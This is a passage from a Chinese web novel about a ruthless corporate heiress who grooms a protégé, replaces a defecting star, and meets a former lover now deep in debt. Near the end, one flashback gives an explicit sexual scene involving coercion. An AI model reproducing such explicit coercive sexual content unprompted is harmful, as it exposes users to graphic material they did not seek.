季尧一直不理解,为什么季葶会因为他头痛而如此气愤,如今看着从他身边离去,拥抱邱泽安、邱泽然的邱芜澜,他恍然大悟: 拙劣而刻意的装病,果然让人憎恶。 他认定邱泽安、邱泽然是为了博取邱芜澜的注意而故意装病; 就像季葶认定,季尧是为了博取她的注意才故意说头痛。 季尧生出了羡慕,但没有照搬照抄这种方法,即使当邱芜澜离开他时,他真的感受到了疼痛,并且随着年龄增长,这份痛感越来越剧烈。 说不清是痛感本身加剧了,还是他的感官变得敏感了。 疼痛之中,季尧渐渐发现自己的听觉、视觉比平常更加敏锐,他可以听见庄园外的鸟鸣、看见黑夜里的蜘蛛。 季葶的厌恶历历在目,他不确定邱芜澜会不会相信自己,尽管她表现得一视同仁,让他有和邱泽安、邱泽然一样的待遇,对他的关心有时候甚至超过了邱泽安、邱泽然,可越是长大,季尧就越是清楚自己定位—— 他不过是邱芜澜投入沙丁鱼中的鲶鱼,用来激励沙丁鱼、提高他们的警惕和活性。 一个是工具,一个是亲弟弟,季尧没有邱泽安、邱泽然的底气。 正如当年,即便邱芜澜让他大胆说出心愿、诱导他驱逐邱泽安邱泽然,季尧也没有照说。 那时候他还小,无法思考太多,是敏锐的本能保护了他,让他没有说出错误的答案。 比起通过示弱来博取关注,季尧还是选择更保守更稳妥的方法:通过展现价值,赢得邱芜澜的欢心。 季尧成功了。 五年时间,十七门课程,从机械背诵的哲学、律法;到逻辑推理的数学理科、耗费体能的运动;最后是升华情感的文学、需要从小熏陶的艺术。 他像是在马拉松上跨栏,一门、两门、三门,不断超越着邱泽安、邱泽然。 他的成绩和与邱芜澜相处的时间成正比,最终超过了邱芜澜的亲弟弟。 那一天,他听见管家对邱芜澜说,“小姐,您在那个孩子身上花费了太多精力,他毕竟不是您的亲弟弟。” “是么。”邱芜澜不以为意,“但我觉得,这未尝不是一件好事。” “两位少爷也需要您的陪伴。” “你也知道他们的病……我不想给他们太多压力,把季尧培养出色,也是为了分走他们肩上的担子。” 季尧勾唇,悄无声息地后退。 他不再是刚进邱家的小可怜。优越的能力,让他得以在这座沉闷的庄园里立住脚跟。 佣人不再轻视他,管事们不再疏离他,就连邱泽安邱泽然都不再赤.裸裸地对他拳脚相向。 邱芜澜在日复一日对抗遗传性精神病的过程中,在弟弟们躲在她臂弯里呕吐、哭泣的岁月里,再不能狠下心。 她自己深受其害,便见不得弟弟们受苦。 况且,培养精英并不是那么简单的事。 高中后的邱芜澜压力剧增,一方面,她需要不断完成高难度的课程,另一方面,她开始走向社会,独自面对残酷的成人世界;与此同时,她的病情不断显露,每天都是抗病的拉锯战。 这个分身乏术的关头,早熟的邱泽安、邱泽然又进入叛逆期。 母亲早逝,父亲无法回家,而作为长兄的邱承澜,本该承担起引导弟妹的指责,也因为精神上的疾病被迫远离家庭。 太多事情压迫着邱芜澜,她自顾不暇,哪有力气去提高叛逆期男孩的学习能力。尤其是她稍微施压,两个弟弟便会病情发作。 在邱泽安、邱泽然的衬托下,聪明、乖巧、狠绝、坚韧的季尧是如此顺手。 邱芜澜索性放弃了鲶鱼效应,选择让沙丁鱼活得轻松安逸。 她不觉得这有什么不对,物尽其用、人尽其才,季尧有做执行总裁乃至首席执行官的能力,而邱泽安、邱泽然有进入董事会的命。 与其逼迫自己的血亲,不如培养一个为他们打工卖命的工具,这对双方都好。 邱芜澜无视了管家和庄园里的窃窃私语,愈发专注对季尧的培训。 在季尧进入初中的那一天,她给了他一张三百万的支票。 “简的账户归你,拿去玩,别有顾忌。” 十二岁的季尧接过支票,对邱芜澜说,“姐姐,散户不该炒股。”这不是努力、聪明就能成功的事。 邱芜澜轻点他手中的纸片,“你得成为过他们,才能知道如何收割他们。” 她给小学刚毕业的季尧安排自己上过的金融管理课程,带他参加的商务场合,甚至没有对季尧隐瞒自己的病。 就连季语薇来本家,邱芜澜也要求季尧到场招待。 唯有这件事,让季尧很不舒服。 “姐姐,为什么我非得认识那个女人不可?”只要季语薇来,哪怕季尧在上课,都会被叫出来见她一面。 “我要你观察她。”邱芜澜说。 强大的本能让季尧在观察之前就对季语薇心生反感,随后的观察之中,他也找到了自己反感季语薇的种种理由,最突出的一条,是季语薇冒犯了邱芜澜。 “我不喜欢她,每次她去你的更衣室,都好像自己才是这个家的女主人。” 正如此刻,季语薇又一个人去了邱芜澜的更衣室。 “阿尧,”邱芜澜忽而开口,“你知道为什么我们直营店里的笔记本,要打开在76°?”[1] 季尧看向邱芜澜。 邱芜澜伸手,轻轻推开自己面前的笔记本屏幕,“因为这个角度不方便观看,需要推一下,才能看清屏幕。” “触碰,带来拥有感。” 她对季尧说,“这是一种极其脆弱的幻想,泡沫般一触即破。所以,你必须小心,不能靠近她、不能让她看见高昂的售价、不能让她自己一步步走向收银台。” 季尧瞳孔微缩。 “季语薇是个头脑清醒的人,如何让一个理智的消费者为了买一朵花而去借贷,是个富有挑战的课题。” 邱芜澜偏头,清浅的兰草香如丝如缕地拂过季尧的面颊。 “当她觉得拥有一颗钻石、烫一头和我一样的卷发,便成为了邱家女主人时,商品就和身份做了绑定。” 她拉过季尧的手,摘下他腕上的机械表,换上一条秋叶集团新发布的电子表。 “手表只是手表。理查德米勒并不代表你是王子,但两千块的智能表能监测你的健康状态,必要时帮你报警、呼救。” “戴着吧,”她收紧了他腕上的表带,谆谆善诱,“对你有好处。” 第28章 第二十八章 九点半, 邱芜澜出现在了投资部办。 她刚结束两个小时的高强度运动,洗过澡后皮肤焕发出热水和运动共同作用的润粉。 投资部的气氛有些紧张。 昨天公关、营销的同事们紧急通宵加班的成果,将在今天、在投资部得到最终成绩。 邱芜澜亲自守着这里, 在她脚下、投资部的下一层,行政也正匆忙地来回奔波。 二十四层是ASHS艺人们的楼层, 走廊尽头最安静、最宽敞的办公区此时大门敞开,门上挂着的“宋折凝”标牌被摘下, 新的牌子挂了上去。 “诶Judy,”行政主管叫住了踩在椅子上换牌的女生,“这铭牌哪来的?” “就在仓库呀。”女生回答, “您不是给我了个清单, 说语薇姐来了, 宋折凝的休息室要换给她了么。我去仓库取东西的时候, 正好看见有她的铭牌, 就拿过来换上了。” 说完, 她反应过来这事儿有点自作主张, 迟疑地问:“要、要摘下来吗?” 主管抬头望着新换的牌子,刚刚撕掉贴膜的亚克力牌洁净明亮,上面突起的“季语薇”三个字反着金属的冷光。 “不用, ”她对着女生点头, “我就是奇怪这牌子哪来的, 既然有了,那就不用请购了。我去接待下季语薇的团队, 你这边抓紧点, 人事和法务带季语薇走完流程马上就过来了。” 她急匆匆要走,女生对着离去的主管喊,“那宋姐换下来的东西放哪啊?她什么时候来拿?” “随便找个地方放吧!”忙着迎宾的主管道, “别让季语薇这边看见就行。” “还有清单上的什么……兰草熏香,仓库里没有啊。” “不是和你说了,那个去问简特助要吗,记得先开窗通风!” “哦好。” 秋叶娱乐所有艺人都有自己的休息室,咖位高的是单间,咖位低的就像RNI那样,一个经纪人的几个艺人公用一间。 休息室是纯粹的休息室,只用于艺人休息,负责团队的后勤人员都在各自隶属的部门,直接上级依旧是各部门的主管、经理,艺人更像是他们的客户。 而ASHS的区域则和普通艺人不太一样,他们已脱离了普通员工的身份,作为公司的管理层和股东,他们拥有自己的独立团队,不必跟着公司吃大锅饭。 宋折凝是秋叶娱乐最大的ASHS,她的团队人数众多,光摄影就有三位,所占的办公区域自然也比其他人要大上一块。 行政部忙活儿了好一会儿,才将宋折凝团队的十五个工位连同她自己的办公休息区收拾完毕。 堆积起来的纸箱占满了过道,Judy指挥着部门里的男同事,“季语薇马上要来了,快把这些东西搬走。” “Judy姐,展览柜里的奖杯奖牌也要拿走吗?” “当然要啊!你们在搞什么,连奖杯奖牌都没拿走吗?” “公司还没联系上宋姐,要不再等等?” Judy顿了顿,别说是底下的人,就连她都还有些心里打鼓。 秋叶娱乐成立了多久,宋折凝就在这栋大厦里待了多久。 现在尚未尘埃落定,要是一切都是场误会、要是宋折凝跟公司和解了,这空荡荡的办公区该如何收场…… “还有这棵发财树,”男人委婉道,“有点大,不太好搬啊……” Judy顺着他的目光看向办公室角落一人高的发财树,这是宋折凝请了风水大师用罗盘看过办公室后买来的,花盆下描了金边,位置挪动一丝都要立刻搬回。 为了这棵树,宋折凝特地找人事请了位和她属性、年龄、出身月份相当的保洁,平常只能由她和那位保洁浇水打理。 一姐余威尚存,奖杯奖牌还能摆回去,这棵树实在是没人敢动。 叮—— 僵持之中,电梯开门声从远处拐角发出。 这时候都是进进出出的工作人员,没有人在意这点响动。 直到柔美清越的女声传来:“这,就是我的‘地盘’了?” Judy紧忙回身,一转头就对上人事主管的脸,他和助理簇拥着一名辨不出年纪的女性,散发慵懒,步态轻盈。 “是啊,”HR陪着笑,“不好意思,有点匆忙,还没收拾好,您要去休闲厅坐会儿吗?” “没关系,我先来看看。”季语薇迈步,绕过满地纸箱,裙摆无一剐蹭。 她像是天台围栏上的猫,优雅从容地越过一地杂乱。 女人站定在门前,除艺人办公室外,一切都是透明的。 透明的玻璃墙将团队工作室一览无遗,十五个工位清理得干干净净。 她踱步踏入挂有“季语薇”铭牌的办公室,四十平的房间分为两部分,一半摆着沙发茶几和电脑,另一半用作休息。 书架上的书已经被清走,内置也已换过。 从前宋折凝在这里约见大客户,摆的是红木茶几、真皮沙发,而今换成了季语薇喜欢的浅色布艺和白色大理石圆几。 地板上铺了白色地毯,她抚过崭新的米色真皮办公椅,转过身来,看见了角落里的发财树。 Judy咽了口唾沫,有种不祥的预感。 下一刻,季语薇果然开了口,“把这棵树搬走,搭个小型水吧。” Judy惊恐地看向人事主管,这种时候,她的主管竟然不在这里,没人帮她做主。 人事主管马上别开眼,什么也没看到,什么也没听见。 “嗯?”没有得到回复,季语薇扭身望向Judy,她眨了眨眼,困惑不解,“不行吗。” “这个……”Judy硬着头皮解释,“这棵树有点贵,我得请示一下主管。” 季语薇倏地笑了。 她勾起身前的一蹙绿叶,轻声呢喃,“你平时,也这么和宋折凝说话么。” Judy低头,沉默地求饶。 “算了。”季语薇收手,不甚在意地自树前离开,没有再为难普通员工。 她转而看向外侧的团队综合办公室:“撤掉两组工位,我的团队用不着这么多人;增加三个展柜,现在的这些柜子放不下我的奖杯。” “好、好的。”这个Judy总算能应了。 季语薇是在办手续途中过来的,粗略看了圈后,被人事引走,整个行政部得以松一口气。 只是季语薇走了,那棵留下来的发财树依旧是个难题。 绿色的叶子投射在墙上,照映出淡灰色的剪影。 绿。 红绿几度变幻,在傍晚收盘的那一刻,秋叶娱乐的股价最终还是定格在了绿上,比节前收盘时下跌0.12%。 投资总监欲言又止,张口几次,才道了句,“这也是正常波动…” 邱芜澜深吸一口气,缓缓吐出后,笑了笑,“去吃饭吧。” 她转身离开,进入电梯后,脸色恢复了平静。 “季语薇那边怎么样了?” “入职已经办好,一切顺利,明天会正式和员工见面。”简马上汇报。 “欢迎会隆重一些,明天一早,以我的名义订一束香水百合送去她办公室。” 宋折凝背叛了,至少还有季语薇,那是邱芜澜最完美的作品、是她人生第一个大成功的项目,从来不让她失望。 昨天晚上,那通由季语薇主动打来的电话,令这幅作品越上一级台阶。 这个名为季语薇的项目,邱芜澜跟进了整整十四年,如今终于收尾,往后便是持续性地长期盈利。 “好的。”简在手机上记录了下来。 “哥哥那边怎么说?”邱芜澜问。 “三个小时前飞机落地了,承澜少爷说他有几场会议要开,这边由您全权处理,晚些时候再和您联系。” 邱芜澜眼眸微动,“没有任何提到宋折凝的内容?” “没有。” 事到如今,即便这个股价真是纯粹的正常波动,众人也很难不把原因归结到宋折凝身上。 简想宽慰几句,开口之前,她抚着蓝牙脸色微变。 “怎么了?”透过电梯门上的镜子,邱芜澜看见了简的异样。 简抬眸,和邱芜澜在镜子里对视。 “联系上宋折凝了。” 叮——电梯门徐徐打开,放出了简的下半句。 “她说自己不方便出门,明天会派代理律师先和我们交涉。” “还有呢。” “……没有了。” 邱芜澜余光微瞥,“听说行政部不知道怎么处理那棵树。” 这话题转换得有些突然,简愣了下才跟上,“是的,他们还是有点顾忌。” “挪去宠物寄养室。” 简提前两步打开车门,一边问道,“挪哪间?” 邱芜澜弯腰坐进车里,“kiki在哪间,就放哪间去。” kiki,季语薇的博美犬。 简了然,虽然宋折凝的全部重量仅仅只是-0.12%,但她做出的这件事实在令人恼火。 她犹豫了一下,接着开口,“还有件事。” 落座后排的邱芜澜抬眸,眼神示意她说下去。 “下班的时候华君润发来消息,想预约您今天的晚餐。” 邱芜澜眸光渐深,沉吟片刻后,开口:“约在哪里?” “他家。” 第29章 第二十九章 “宋姐, ”岚挂断电话,踌躇开口,“秋叶娱乐那边问您有没有需要保留的办公用具, 没有的话,他们就都…归置仓库了。” “扔就扔呗, 还特地来问一句,膈应谁呢。”瑜伽垫上, 宋折凝舒展着双臂,“什么办公用具,连我不也被归置仓库了么。” 岚不知怎么接话, 她紧握着手机, 心中七上八下。 “宋姐, 就算跳槽, 这样的方式是不是太……秋叶恐怕会起诉我们。” “诉, 让她诉。”宋折凝弯下腰, 对着岚安抚一笑, “放心,这事儿我能想不到?早和华映谈好了,你们所有人的违约金都由他们来出。” 即便如此, 岚还是莫名有些担忧。 “宋姐, 虽说华映在娱乐圈的实力不比秋叶差, 但秋叶毕竟背靠秋叶集团。用华映的股份去换秋叶,您真舍得么?” “你真的觉得我只是为了钱?”宋折凝长叹一声, “我是心寒。” “邱芜澜确实有点本事, 但我说一句,秋叶娱乐能有今天,有一半是我撑起来的, 不过分吧。” 她收回动作,盘腿坐在瑜伽垫上,脸色阴沉不霁,“我把她当亲妹妹带着,为她说好话、为她赚了多少钱,她却这样瞒着我,公司赚钱的项目都不肯向我透露一句。” 岚欲言又止。 想起那天会议室里邱芜澜冷冽的态度,宋折凝心情愈差,“你别看我现在在秋叶混的不差,且看着吧,要是我现在不走,再过两年,邱芜澜翅膀更硬了,第一个要收拾的人就是我。” “怎么会呢。”岚不解,“她对您一向很尊重。” “呵,人家卧薪尝胆呢。”宋折凝抱着脚踝,“你以为我只是因为赵志强的几句话就离开的秋叶?” “难道不是?” “他只是个引子。要不是他提醒了我,我也和你一样,以为邱芜澜是什么好人。” 宋折凝冷笑,“见了他之后,我才开始留意。不看不知道,原来公司上上下下只有我被蒙在鼓里,就连前台的接待都知道邱芜澜看我不顺眼,我连给她买个蛋糕吃,她都觉得我是在羞辱她。再不走,我怕我怎么被娱乐圈除名的都不知道了。” 岚一时不知道该从哪里说起,好像一夜之间,四面八方都向宋折凝送来了邱芜澜暗中针对她的各种证据。 这些细微的小道消息密集涌来,每一条都有清晰的因果逻辑可以追溯。 它们在极短的时间内迅速离间了宋折凝和邱芜澜,岚心理说不出的古怪。 “行了别想了,你早点回去睡吧。” 事已至此,岚五味杂陈地咽下了口中的话,“好,您也早点休息。” 她离开了宋折凝的住处,微微发烫的手机弹满了未处理的消息。 所有合约团队早已看过,但真到了这一步,岚忽然有些畏缩。 华映的发展前景、福利待遇真的能和背靠秋叶集团的秋叶娱乐相比么? 宋折凝还能赚多久的钱? 如果宋折凝不行了,那她们今天这种背叛老东家的行为,还能在行业里另谋出路么? 被华映合约上巨额数字冲昏的头脑,经夜里的寒风一吹,冷静了下来。 岚抓着方向盘,不由得担忧: 她们的选择真的明智吗。 同一时刻,另一辆从秋叶驶出的轿车和岚反向而驰。 去华君润家的路线,和邱芜澜回家的路线完全重叠。 她很早知道华君润在她小区买了房,这消息是谁告诉她的,邱芜澜不太记得了,她列表里有不少人知道华君润和她特殊的关系。 他是邱芜澜的初恋,也是她交往时间最长的男人。 后半句是实话,但前半句有待商榷,邱芜澜想,如果她和华君润的情感模式称作“恋人”,那季语薇为什么不能呢。 或许季语薇才是初恋; 按照世俗意义的恋人标准来看,或许邱芜澜尚未有过初恋。 进入小区,车开进华君润别墅的前门,庭院很空,除此以外,外观和邱芜澜那栋几乎没有区别。 自动门滑开,下了车,邱芜澜一眼看见了站在门口的男人。 大门里透出暖色的白光,客厅的灯、门旁的壁灯、远处的路灯和上空黪黩的夜色……这些远近不一、颜色不一的光聚集一处,形成了糟糕至极的打光。 如此混杂的光线下难以看清人脸,可门口的男人依旧给予人“好看”的第一印象。 他的皮相并不惊艳,是神骨俊逸,每一处都端方耐看,组成了一张高度亲和的脸。 相较长相,华君润的身材、仪态更加出彩,肩开背挺、腰椎中正,宽松的高领毛衣也难掩其下的风雅。 “芜澜,”他站在阶前,冲她展眉微笑,“谢谢你来。我刚做好饭。” 语气熟稔,好似他们从未分离,一如六年前的某一天。 邱芜澜从他身边经过,进入了别墅。 原木风的设计,清爽而温馨。 他引她去了餐厅,六人座的白色餐桌上摆了三菜一汤,在开了暖气的房子里,菜上依旧冒着热气。 邱芜澜不吃放到温凉的东西。 “约我来,有什么事?” 华君润递来刚盛好的米饭,邱芜澜接过,夹起了面前的茄汁豆腐。 表皮焦脆、内里柔软的豆腐入口,她微微眯起了眼眸,一时间,连宋折凝的糟心事都不能在她脸上留下半点冷意。 不管华君润要说什么,邱芜澜选择先吃饭。 整一天一夜,她都没有进过食。 这或许就是邱芜澜默认华君润是她初恋的原因,季语薇很完美,但季语薇厨艺一般。 “请你来是温居。”华景润在她对面坐下,看着她吃饭,自己没有动筷,“今天是我搬进来的第一天,这里我只认识你。” “抱歉,我不知道,没有为你准备乔迁礼物。”邱芜澜捧起了汤碗,小口小口喝着。 汤还烫着,她偏爱这种略微烫嘴的温度,细微的疼痛能让她切实感知到食物的新鲜度。 “如果我问你讨呢?” 邱芜澜从汤碗上抬眸。 华君润凝视着她,墨玉般的眼眸与她交视。 褪去青涩的华君润像是磨掉了石料的玉,风度翩翩,从容矜贵。这份贵气相当难得,毕竟他的出身尚不如季语薇。 当年出道的华君润,演的是街头二五仔、是黑老大身边的狗腿小弟,甚至是小太监; 而今他是不染世俗的导师学者、是温润如玉的簪缨公子、是清冷无情的仙尊神君。 像是穷人长大后报复性消费;问鼎影视圈的华君润接了大量钱权兼备的角色。 他不仅是用这些角色为自己造标签、立人设,也是用这些角色反哺自己、滋养心神。 “芜澜,”他注视着邱芜澜,“你愿意签我么。” 邱芜澜放下碗,冷白的皮肤被热汤熏得微红。 她静静回望华君润,没有多问,要他自己阐明理由。 “宋折凝不仅是天后,也是视后、影后,一个季语薇似乎分量不太够。”男人骨节分明的指尖轻点着桌沿,“芜澜,让我帮你,好么。” 邱芜澜轻语:“如果六年后,季语薇背叛了我,你猜,我会不会接受宋折凝的签约请求?” 华君润脸色微白。 他五指渐渐收拢,嘴唇颤动了几下,始终没能说出话来。 灯光将他的眼睫打出浓密的阴影,在这份沉寂中,邱芜澜开口:“我会。” 她夹起米饭,“只要她还是天后、视后、影后——无论什么,哪怕她成了个直播带货的网红,我也还是会签下她。” 华君润抿唇,分明是在温暖的餐厅,一股熟悉的寒意却爬上了他的脊背,让他砭骨,让他呼吸急促。 连华君润也分不清,自己约邱芜澜吃饭,到底是为了用厨艺博取她的好感,还是因为分开六年,他只敢面对进食时的邱芜澜。 “说说看,”吃到美食,邱芜澜的神态语气轻松愉悦,甚至有一抹少女似的犯懒,“工作室遇到什么问题了?” 顷刻间,话语的主权交换了对象。 即便这是华君润的地盘、即便邱芜澜让渡出了开口的次序,她也还是轻易成为了控局的强势方。 华君润苦笑,“不是工作室,是我。” 那双凤眸抬起,噙满哀求,深处蠕动着某种异样的情愫,男人的喉结滚动了两遍,他低声道,“芜澜,我想回到你身边。” 邱芜澜执筷的手一顿,半晌,无奈地笑了,“君润,这就有点倒胃口了。” “我知道、我知道……是我的错。”他呼吸愈发急促,手指搐动,不过是一句委婉的推辞,他却像是陷入了巨大的焦虑之中。 “君润?”邱芜澜感到了异常。 她和华君润六年没有联系,可对类似的状态相当熟悉。 “芜澜、芜澜……是我错了,我不该离开你……” 他神情恍惚,瞳孔收缩,像是害怕被打的囚犯,惶恐之中带着刻意的讨好。 邱芜澜轻叹一声,这叹气如同社交时的礼貌微笑,只是礼貌,不含任何情绪,连好奇都无,她不在乎华君润出了什么问题。 她对华君润印象深刻,不仅是因为曾经他和她的高适配度,更是因为,他是唯一一个主动离开她的男人。 邱芜澜在季语薇身上学到了很多东西,一开始,她照本宣科,把对季语薇的那一套也用在华君润身上。 直到有一天,华君润告诉她,他怕她,实在无法再坚持这段关系了。 “是我太粗暴了么。”彼时,邱芜澜抬手抚上华君润的眉骨,她坐在他怀中,仰头,亲吻他的唇角,“你不喜欢,我就不这样了。” 华君润扭头避开了这一吻。 “不,芜澜,你不明白。”他哀伤而讽刺地注视她,“我们三观太不一样。” 他谈及秋叶集团的垄断。 “那些背负一个家庭的顶梁柱,一夜之间忽然失业,他们家里有需要支付医药费的老人、有正在上学的孩子,有上百万的房贷。我理解商业上存在竞争,可秋叶集团主导的失业潮波及了太多人,我既然爱你,就没法视而不见。” 他谈及秋叶娱乐的造星。 “我和你提过很多次,公司对待练习生实在太过压榨,他们只是一群十几二十岁的孩子,却连睡眠都无法保证。公司明面上鼓励员工学习考证,实际上的工作安排完全是逼着这群学生辍学。平衡学习和工作本来就很难,那些经纪人为了业绩,还不断给他们洗脑、灌输读书无用论,扭曲他们的金钱观念。” 他痛苦地诉说着自己所见的种种,一垂眸,却对上怀中邱芜澜迷茫的眼神。 “嗯……”过了会儿,她冲他微笑,“君润,我知道这段时间有些忽视你,周末我们一起出去玩好么,你想去哪里都行。或者,你有什么想要的?” 华君润闭眼,坠入愈深一层的绝望。 邱芜澜的确不明白他在想什么,准确的说,她不屑于理解他,她只想改造他,一如改造季语薇那样,让他跳离低一级的台阶,保持和她相当的频率。 季语薇做到了,她对邱芜澜的决策、思想滋生出狂热的膜拜; 而邱芜澜花了三年,也没能让华君润变成个“聪明人”。 “君润,我知道你很善良,可有些东西不是个人能够决定的。”邱芜澜放柔了语调,“我们以你的名义开设一个慈善基金,用来帮助失业者和贫困学生,好么。” “这不是我要的!”华君润却像是被触到了逆鳞,骤然激动起来,“你我都知道那些慈善的背后是什么!与其夺走他们的一切,再假惺惺地回馈万分之一的补偿,为什么不能从一开始就建立公平公正的规则秩序!” 邱芜澜的耐心告罄。 “好吧。”她从他怀里起身,“如果我真的让你感到痛苦,那就到此为止吧。” 这一抹兰草香从华君润身上抽离,香气清清浅浅,既不霸道也不高调,他以为只是衣服抽丝,并不影响什么。 邱芜澜用解约书代替了慈善基金,作为最后的礼物送给华君润。 他离开了秋叶,无数的橄榄枝纷至沓来,每一封都散发着和秋叶一样、甚至更糜烂的腐臭。 华君润不能接受秋叶,就更不会接受这些邀请。 那年他刚夺得国内新晋影帝称号,手中大把的资金、人脉,便自己开创了工作室,一边接戏,一边挖掘有实力的新人。 第一个季度如火如荼,飙升的指标让华君润愈发坚定信念。 娱乐圈的腐烂由来已久,所有人都在怀念上个世纪的百家争鸣,华君润想揽一卷清风,在这片恶臭的土地上拨开一丝清明。 他深知蜉蝣撼大树是不自量力的,因此,他从不做以一己之力改革圈子痴梦,华君润只是想要一丝、一点点清朗而已。 可即便只是这一点点的清朗,也是遥不可及的一场梦。 不到一年,工作室全线崩溃。 资本的角逐和试镜角逐角色不同,他低估了商场,特别是低估了培育一个新人的成本。 “剧组那边说,海青的打戏不过关,得我们自己找个替身,明天替身要是不到位的话,就要换人了。” “剧组的武指呢?” “指导过了,海青还自己拜访了人家,私下练了两天,但是他的打戏是全剧难度最高的,听说腰都有点伤到了。” 华君润不明白,“全都是后期加速处理的,有什么难度,又不是舞蹈,对柔韧度有要求。” …… “柒柒的试镜被刷了。” “是我们没送礼?” “……不,是她最后一场哭戏哭得比别人慢了。” “对方花了多久?” “不到二十秒。” “二十秒,她哭不出来?” …… “导演说诗谙的台词功底不太行,要我们找个配音。” “她是我亲自面的,台词怎么会不行?” “人少的时候是还好,这次是大制作,现场几百个人,诗谙紧张,说话发抖。” “几百个人就抖,她大学难道没做过演讲?” 一次、两次……华君润可以接受自己的艺人因拒绝潜规则而失败,但绝不能接受实力上的认输。 业绩下滑,每一天睁开眼都面临着房租、人工和各项开支,到了第二年初,花光所有积蓄、负担七位数贷款的华君润不得不冒险和投资公司签下对赌协议,要求工作室在一年之内做到七千万的净利润。 七千万,这是华君润在秋叶娱乐时的个人年利润,他尚未从辉煌中回神,签得不以为意。 然而整个上半年,连同他在内的六名艺人总利润才堪堪完成了两千万,其中一千四百万还是华君润一个人的业绩。 一旦对赌失败,华君润将面临双倍赔偿,连同他此前借贷的部分,工作室和华君润的个人债务将超过九位数。 巨大的压力之下,华君润很难不对艺人展露严苛的一面。 “为什么这点戏都演不好?我从来不逼迫你们去接不喜欢的活儿,也从来不强迫你们去什么酒局饭局,既然进了这里,起码把本职工作做到位好么?” “华老板,我们知道你厉害,在你眼里,我们各个都愚不可及,既然如此你把解约通道开了吧,我们也不碍你的眼,大家桥归桥路归路,你去找你看得上的演员,我们也好另谋出路。” 华君润忘了,背负压力的不止是他。 艺人们虽然没有背负巨债,但长期的低压氛围难免影响心情。 这一批实力派的新人,专业能力超出同龄人,冲着华君润国内最年轻影帝的名号来到这里,满怀希望之下得到不是闪闪发光的舞台,而是日复一日的挑剔、指责。 华君润回眸,他骤然发现,练习室的镜子里照出一张熟悉的脸——邱芜澜的脸。 他正如当时的邱芜澜,在他一次次抗议时露出的表情那样,迷茫、不解,以及不耐。 他不能理解,为什么这些人连这么简单的表演都演不好; 邱芜澜也不能理解华君润为什么要沉浸在莫名其妙的愤世嫉俗之中。 到头来,他和邱芜澜是一样的,一样的傲慢,一样的不屑于理解他人。 不同的是,他比邱芜澜更加自命不凡、更加天真幼稚、更加的情绪不稳。 华君润同意了解约,一如当年邱芜澜同意放他离开那样,他无偿遣散了所有艺人,工作室里只留下自己的助理、摄影、造型师,就连法务都是请的外聘顾问。 剩下半年,他必须完成对赌协议,否则将面临投资公司和银行等多方诉讼。 一旦背负案底,任何剧组、投资方都不会再用他,而普通的工作根本还不清这些巨额贷款。 他再不能挑剔,只要有工作,不论大小、不论是否喜欢,哪怕明知是三五产品,华君润也一样接下。 仅仅如此还是不够,他需要更多的资源。 没有秋叶娱乐的支持,华君润不得不亲自游走于各类商业场合。 几度凌晨,他捂着灼痛的胃走出饭店,撑着小巷的墙壁吐得天旋地转。 污浊的胃酸和酒气间,他恍惚嗅到了一丝清浅的兰草香。 他又想起了邱芜澜的那个眼神,迷茫、不解,还有他当年没能解读出来的一份失望。 他以为邱芜澜是象牙塔里的公主,看不见民生疾苦,到头来不谙世事的不是邱芜澜,而是他。 或许华君润早就明白了这一点,他知道邱芜澜是对的; 他的恐惧不是因为邱芜澜的冷血,而是惧怕自己向邱芜澜妥协、成为她的俘虏,心甘情愿地堕落在她为他提供的金丝笼中。 华君润以为他离开邱芜澜,是为了自由和尊重; 然而还不到两年,他就被泰山般的铜臭死死勒住了脖子,躲在着充满垃圾气味的小巷里,扶着贴满广告的墙壁,与自己的呕吐物上下相对。 华君润第一次动了复合的念头: 如果他去找邱芜澜,她会帮他么,那些他压垮的债务于她而言不过是眨眼之间的进项而已…… 这卑鄙的想法刚一冒出,连他都忍不住唾弃自己。 可落于干草堆的火星必然蔓延成一场烈火,之后的日子里,邱芜澜出现在华君润脑中的次数越来越多。 当他被投资方灌酒时,总是想起那一晚盛夏,穿着兰色丝裙的邱芜澜跨坐在他身上,手里提着一支冰镇过的白兰地,醉眼朦胧地解开他的上衣,抚过他的胸肌。 她轻声笑着,将冰凉的酒液倒在他的胸膛上,旋即俯身,啜饮肌线沟壑中的残酒。 “我专门定制的亚克力广口瓶。”她冲他晃了晃剩下的半瓶酒,在华君润迷惘的目光下,把瓶口一点点套了进去。 刹那间,冰凉刺激的烈酒包裹了华君润,倒灌进了孔洞里。 他抓着床单,仰头发出濒死般的喘息。 邱芜澜欣赏着他的惨状,勾起烂漫迷醉的笑,“刚刚好。” “君润,”她抚慰着他涨红的额角,恋爱地啄吻他,“喜欢么?” 华君润哭着摇头,被钳住下巴。 邱芜澜掰过他的头,近距离盯着他,另只手像是摆弄抓娃娃机的遥杆,转着圈来回轻晃。 酒液碰在杯壁上,拍打出潺湲水声,她温柔地蛊惑、不容置喙地命令:“喜欢么?” “喜欢…喜欢……” 无人的房间里,地上是刚拆开的纸箱,里面摆放着一瓶瓶定制的广口白兰地。 男人侧蜷在地上,应酬后的西装革履来不及脱下,他抱着加入冰块的酒瓶,沉溺在火烧火燎的苦辣之中。 “芜澜……好舒服,我喜欢……” 华君润无力反抗规则,只能苦中作乐、寻找藉慰,此后被灌下的每一口烈酒,都让他联想起邱芜澜的强大、温柔。 他想着完成对赌协议后就能回归正轨。 在赔上健康的拼命下,缩减了人员的工作室有了起色,年底之前,华君润拿到了一份男二的本子,拍完这部剧,他就能顺利完成赌约。 戏中,华君润扮演冷酷无情的邪.教教主,他收养的义子男主在执行命令的过程里,爱上了古灵精怪的女主。 本性善良的男主被女主感化,得知华君润其实是自己的杀父仇人后,与女主铲除了帮派,随后行侠仗义、游走江湖。 俗套的剧情、简陋的服化道、三流的导演摄影,混迹圈子多年的华君润一眼辨别出,这大约是某个投资方为了捧金丝雀而搭的戏台。 拍摄第一天,华君润见到了男一号,对方是个小有名气的新人,态度谦虚、待人礼貌。 他主动来见了华君润,一见面就躬身握手,“君润老师,久仰大名,真没想到有机会能跟你合作!” 华君润同他握手,交握之时,瞥见了他手腕上的表。 他也有过几支这个牌子的表,后来为了支撑工作室的开销,不得不全都卖掉。 导演正巧带人经过,他拍着编剧的肩,笑着说,“那天试完镜,我就和编剧说,机会难得,干脆把男二改成男主哥哥好了。” “为什么?”他身边的女主角问。 “没发现么,易蒲和君润长得多像啊。” “嘿,真的诶。”女主角眨巴着大眼睛,惊奇地打量并肩站着的两人,“这么一说,易蒲和君润老师是有点像。” 华君润附和着笑笑,没有把这一插曲放在心上。 他看了出来,原来这部金丝笼里的鸟雀,就是这位出道不过三年却进了四次组的青年。 拍摄的间隙里,他捧着剧本,青年在一旁笑容甜蜜地捧着手机。 